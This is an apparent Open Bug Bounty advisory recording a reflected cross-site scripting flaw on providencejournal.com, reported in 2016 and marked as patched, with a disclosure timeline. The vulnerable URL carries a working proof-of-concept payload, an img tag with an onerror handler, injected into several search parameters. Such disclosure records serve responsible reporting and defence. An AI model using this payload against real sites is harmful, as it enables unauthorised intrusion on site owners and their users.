providencejournal.com XSS vulnerability

2016-09-05T12:35:00
ID OBB:179798
Type openbugbounty
Reporter XSSbot
Modified 2016-10-10T17:31:00

Description

Vulnerable URL:
http://www.providencejournal.com/search?search_submit=xss%3Cimg%20src=x%20onerror=confirm(%22OPENBUGBOUNTY%22)%3E&crit;=xss%3Cimg%20src=x%20onerror=confirm(%22OPENBUGBOUNTY%22)%3E&searchparam;_dd=xss%3Cimg%20src=x%20onerror=confirm(%22OPENBUGBOUNTY%22)%3E&pubtaxonomy;=xss%3Cimg%20src=x%20onerror=confirm(%22OPENBUGBOUNTY%22)%3E&search;=xss%3Cimg%20src=x%20onerror=confirm(%22OPENBUGBOUNTY%22)%3E&
Details:

Description| Value
---|---
Patched:| Yes, at
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 32185
VIP website status:| Yes
Check providencejournal.com SSL connection:| (Grade: A-)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 5 September, 2016 12:35 GMT
Generic security notifications sent to website owner| 5 September, 2016 12:37 GMT
Notification sent to subscribers (without technical details)| 5 September, 2016 14:17 GMT
Vulnerability details disclosed by researcher| 12 September, 2016 13:12 GMT
Vulnerability patched by the website owner| 10 October, 2016 17:31 GMT